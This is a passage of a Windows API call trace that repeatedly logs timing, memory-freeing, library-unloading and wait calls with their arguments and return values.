lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f7a7f43, dwHighDateTime=0x1d9eb0c)) [0185.593] free (_Block=0x196ef0d1e60) [0185.593] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.593] free (_Block=0x196ef0d67b0) [0185.594] free (_Block=0x196ef0fbf40) [0185.594] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f7a7f43, dwHighDateTime=0x1d9eb0c)) [0185.598] free (_Block=0x196ef0d1d80) [0185.598] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.599] free (_Block=0x196ef0d67b0) [0185.599] free (_Block=0x196ef0fbef0) [0185.599] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f7cfcc5, dwHighDateTime=0x1d9eb0c)) [0185.606] free (_Block=0x196ef0d1d20) [0185.606] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.606] free (_Block=0x196ef0d67b0) [0185.607] free (_Block=0x196ef0fbb80) [0185.607] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f7cfcc5, dwHighDateTime=0x1d9eb0c)) [0185.611] free (_Block=0x196ef0d1bc0) [0185.611] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.612] free (_Block=0x196ef0d67b0) [0185.612] free (_Block=0x196ef0fbbd0) [0185.612] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f925517, dwHighDateTime=0x1d9eb0c)) [0185.756] free (_Block=0x196ef0d1d40) [0185.756] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.757] free (_Block=0x196ef0d67b0) [0185.758] free (_Block=0x196ef0fbb80) [0185.758] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f94b8ab, dwHighDateTime=0x1d9eb0c)) [0185.763] free (_Block=0x196ef0d1e60) [0185.763] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.764] free (_Block=0x196ef0d67b0) [0185.764] free (_Block=0x196ef0fb6d0) [0185.764] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f94b8ab, dwHighDateTime=0x1d9eb0c)) [0185.770] free (_Block=0x196ef0d1ba0) [0185.770] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.771] free (_Block=0x196ef0d67b0) [0185.771] free (_Block=0x196ef0fc080) [0185.771] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.808] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.808] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.011] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.011] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4fea8c54, dwHighDateTime=0x1d9eb0c)) [0186.339] free (_Block=0x196ef0d1ba0) [0186.339] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.340] free (_Block=0x196ef0d67b0) [0186.340] free (_Block=0x196ef0fb8b0) [0186.341] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4fecee83, dwHighDateTime=0x1d9eb0c)) [0186.345] free (_Block=0x196ef0d1ba0) [0186.345] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.346] free (_Block=0x196ef0d67b0) [0186.346] free (_Block=0x196ef0fb950) [0186.346] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4fecee83, dwHighDateTime=0x1d9eb0c)) [0186.352] free (_Block=0x196ef0d1f60) [0186.352] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.352] free (_Block=0x196ef0d67b0) [0186.353] free (_Block=0x196ef0fb270) [0186.353] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4fefa441, dwHighDateTime=0x1d9eb0c)) [0186.358] free (_Block=0x196ef0d1ac0) [0186.358] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.359] free (_Block=0x196ef0d67b0) [0186.359] free (_Block=0x196ef0fbc70) [0186.359] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4fefa441, dwHighDateTime=0x1d9eb0c)) [0186.365] free (_Block=0x196ef0d2040) [0186.365] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.365] free (_Block=0x196ef0d67b0) [0186.366] free (_Block=0x196ef0fb720) [0186.366] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ff1b373, dwHighDateTime=0x1d9eb0c)) [0186.372] free (_Block=0x196ef0d1e20) [0186.372] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.373] free (_Block=0x196ef0d67b0) [0186.373] free (_Block=0x196ef0fbb80) [0186.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ff1b373, dwHighDateTime=0x1d9eb0c)) [0186.380] free (_Block=0x196ef0d1a20) [0186.380] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.380] free (_Block=0x196ef0d67b0) [0186.381] free (_Block=0x196ef0fbd60) [0186.381] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50134884, dwHighDateTime=0x1d9eb0c)) [0186.602] free (_Block=0x196ef0d19a0) [0186.602] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.606] free (_Block=0x196ef0d67b0) [0186.607] free (_Block=0x196ef0fb3b0) [0186.607] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5015cd9e, dwHighDateTime=0x1d9eb0c)) [0186.613] free (_Block=0x196ef0d1a60) [0186.613] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.626] free (_Block=0x196ef0d67b0) [0186.627] free (_Block=0x196ef0fc120) [0186.627] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x501a3ba4, dwHighDateTime=0x1d9eb0c)) [0186.647] free (_Block=0x196ef0d1fa0) [0186.647] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.648] free (_Block=0x196ef0d67b0) [0186.648] free (_Block=0x196ef0fc120) [0186.649] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x502fb193, dwHighDateTime=0x1d9eb0c)) [0186.778] free (_Block=0x196ef0d1e60) [0186.778] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.778] free (_Block=0x196ef0d67b0) [0186.779] free (_Block=0x196ef0fb720) [0186.779] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x502fb193, dwHighDateTime=0x1d9eb0c)) [0186.787] free (_Block=0x196ef0d1d60) [0186.787] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.788] free (_Block=0x196ef0d67b0) [0186.788] free (_Block=0x196ef0fbf40) [0186.788] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50321603, dwHighDateTime=0x1d9eb0c)) [0186.794] free (_Block=0x196ef0d1ee0) [0186.794] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.794] free (_Block=0x196ef0d67b0) [0186.795] free (_Block=0x196ef0fba40) [0186.795] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50321603, dwHighDateTime=0x1d9eb0c)) [0186.801] free (_Block=0x196ef0d1aa0) [0186.801] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.802] free (_Block=0x196ef0d67b0) [0186.803] free (_Block=0x196ef0fb590) [0186.803] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50321603, dwHighDateTime=0x1d9eb0c)) [0186.807] free (_Block=0x196ef0d1d00) [0186.807] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.808] free (_Block=0x196ef0d67b0) [0186.808] free (_Block=0x196ef0fc120) [0186.808] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50348118, dwHighDateTime=0x1d9eb0c)) [0186.814] free (_Block=0x196ef0d1e00) [0186.814] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.814] free (_Block=0x196ef0d67b0) [0186.815] free (_Block=0x196ef0fbfe0) [0186.815] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5040620f, dwHighDateTime=0x1d9eb0c)) [0186.894] free (_Block=0x196ef0d1f00) [0186.894] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.894] free (_Block=0x196ef0d67b0) [0186.895] free (_Block=0x196ef0fb630) [0186.895] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5042dac9, dwHighDateTime=0x1d9eb0c)) [0186.902] free (_Block=0x196ef0d20e0) [0186.902] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.903] free (_Block=0x196ef0d67b0) [0186.903] free (_Block=0x196ef0fbfe0) [0186.903] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50478af4, dwHighDateTime=0x1d9eb0c)) [0186.934] free (_Block=0x196ef0d1a80) [0186.934] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0186.935] free (_Block=0x196ef0d67b0) [0186.936] free (_Block=0x196ef0fbf90) [0186.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0186.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x505cfcde, dwHighDateTime=0x1d9eb0c)) [0187.074] free (_Block=0x196ef0d1de0) [0187.074] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.075] free (_Block=0x196ef0d67b0) [0187.075] free (_Block=0x196ef0fbdb0) [0187.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x505cfcde, dwHighDateTime=0x1d9eb0c)) [0187.080] free (_Block=0x196ef0d1aa0) [0187.081] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.081] free (_Block=0x196ef0d67b0) [0187.081] free (_Block=0x196ef0fbb30) [0187.082] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x505cfcde, dwHighDateTime=0x1d9eb0c)) [0187.088] free (_Block=0x196ef0d1bc0) [0187.088] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.088] free (_Block=0x196ef0d67b0) [0187.088] free (_Block=0x196ef0fc170) [0187.089] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x505f5fa4, dwHighDateTime=0x1d9eb0c)) [0187.094] free (_Block=0x196ef0d1ea0) [0187.094] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.094] free (_Block=0x196ef0d67b0) [0187.095] free (_Block=0x196ef0fc120) [0187.095] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x505f5fa4, dwHighDateTime=0x1d9eb0c)) [0187.101] free (_Block=0x196ef0d1a40) [0187.101] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.102] free (_Block=0x196ef0d67b0) [0187.102] free (_Block=0x196ef0fb860) [0187.102] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x506dae06, dwHighDateTime=0x1d9eb0c)) [0187.194] free (_Block=0x196ef0d1d80) [0187.194] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.194] free (_Block=0x196ef0d67b0) [0187.195] free (_Block=0x196ef0fbc20) [0187.195] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5070170e, dwHighDateTime=0x1d9eb0c)) [0187.214] free (_Block=0x196ef0d1f60) [0187.214] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.215] free (_Block=0x196ef0d67b0) [0187.215] free (_Block=0x196ef0fc030) [0187.215] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50799b3b, dwHighDateTime=0x1d9eb0c)) [0187.261] free (_Block=0x196ef0d1e60) [0187.261] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.262] free (_Block=0x196ef0d67b0) [0187.263] free (_Block=0x196ef0fb950) [0187.263] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.263] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.608] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.608] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50c5e193, dwHighDateTime=0x1d9eb0c)) [0187.764] free (_Block=0x196ef0d1f00) [0187.764] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.765] free (_Block=0x196ef0d67b0) [0187.766] free (_Block=0x196ef0fb860) [0187.766] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50c5e193, dwHighDateTime=0x1d9eb0c)) [0187.773] free (_Block=0x196ef0d1da0) [0187.773] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.774] free (_Block=0x196ef0d67b0) [0187.774] free (_Block=0x196ef0fbd10) [0187.775] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50c848cd, dwHighDateTime=0x1d9eb0c)) [0187.785] free (_Block=0x196ef0d19a0) [0187.785] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.786] free (_Block=0x196ef0d67b0) [0187.787] free (_Block=0x196ef0fb8b0) [0187.787] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50caa7c6, dwHighDateTime=0x1d9eb0c)) [0187.794] free (_Block=0x196ef0d1d20) [0187.795] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.795] free (_Block=0x196ef0d67b0) [0187.796] free (_Block=0x196ef0fbef0) [0187.796] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50deae76, dwHighDateTime=0x1d9eb0c)) [0187.932] free (_Block=0x196ef0d1fc0) [0187.932] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.933] free (_Block=0x196ef0d67b0) [0187.933] free (_Block=0x196ef0fb5e0) [0187.934] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50deae76, dwHighDateTime=0x1d9eb0c)) [0187.939] free (_Block=0x196ef0d1ae0) [0187.939] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.940] free (_Block=0x196ef0d67b0) [0187.940] free (_Block=0x196ef0fc170) [0187.940] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50e113a1, dwHighDateTime=0x1d9eb0c)) [0187.946] free (_Block=0x196ef0d1d60) [0187.947] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.947] free (_Block=0x196ef0d67b0) [0187.947] free (_Block=0x196ef0fbdb0) [0187.948] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50e113a1, dwHighDateTime=0x1d9eb0c)) [0187.954] free (_Block=0x196ef0d19a0) [0187.954] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.954] free (_Block=0x196ef0d67b0) [0187.957] free (_Block=0x196ef0fb310) [0187.957] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50e37c46, dwHighDateTime=0x1d9eb0c)) [0187.963] free (_Block=0x196ef0d1e20) [0187.963] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.964] free (_Block=0x196ef0d67b0) [0187.964] free (_Block=0x196ef0fb8b0) [0187.964] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0187.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50e37c46, dwHighDateTime=0x1d9eb0c)) [0187.970] free (_Block=0x196ef0d1980) [0187.970] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0187.971] free (_Block=0x196ef0d67b0) [0187.971] free (_Block=0x196ef0fba40) [0187.971] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x50f68968, dwHighDateTime=0x1d9eb0c)) [0188.082] free (_Block=0x196ef0d1f40) [0188.082] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.083] free (_Block=0x196ef0d67b0) [0188.083] free (_Block=0x196ef0fbbd0) [0188.084] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.124] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.124] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5110c35e, dwHighDateTime=0x1d9eb0c)) [0188.263] free (_Block=0x196ef0d1be0) [0188.263] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.263] free (_Block=0x196ef0d67b0) [0188.264] free (_Block=0x196ef0fb4f0) [0188.264] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5113238a, dwHighDateTime=0x1d9eb0c)) [0188.270] free (_Block=0x196ef0d1aa0) [0188.270] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.271] free (_Block=0x196ef0d67b0) [0188.271] free (_Block=0x196ef0fb6d0) [0188.271] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5113238a, dwHighDateTime=0x1d9eb0c)) [0188.277] free (_Block=0x196ef0d1c80) [0188.278] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.278] free (_Block=0x196ef0d67b0) [0188.278] free (_Block=0x196ef0fc030) [0188.279] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x511585b2, dwHighDateTime=0x1d9eb0c)) [0188.284] free (_Block=0x196ef0d1a80) [0188.285] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.285] free (_Block=0x196ef0d67b0) [0188.285] free (_Block=0x196ef0fb720) [0188.286] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x511585b2, dwHighDateTime=0x1d9eb0c)) [0188.295] free (_Block=0x196ef0d1e20) [0188.295] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.295] free (_Block=0x196ef0d67b0) [0188.296] free (_Block=0x196ef0fb950) [0188.296] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5117eccb, dwHighDateTime=0x1d9eb0c)) [0188.302] free (_Block=0x196ef0d1cc0) [0188.302] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.302] free (_Block=0x196ef0d67b0) [0188.303] free (_Block=0x196ef0fb4a0) [0188.303] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x512fbe3c, dwHighDateTime=0x1d9eb0c)) [0188.469] free (_Block=0x196ef0d1aa0) [0188.469] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.470] free (_Block=0x196ef0d67b0) [0188.528] free (_Block=0x196ef0fc080) [0188.528] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x513bb041, dwHighDateTime=0x1d9eb0c)) [0188.535] free (_Block=0x196ef0d1d80) [0188.536] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.536] free (_Block=0x196ef0d67b0) [0188.536] free (_Block=0x196ef0fb810) [0188.537] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.543] GetSystemTimeAsFileTime (in: 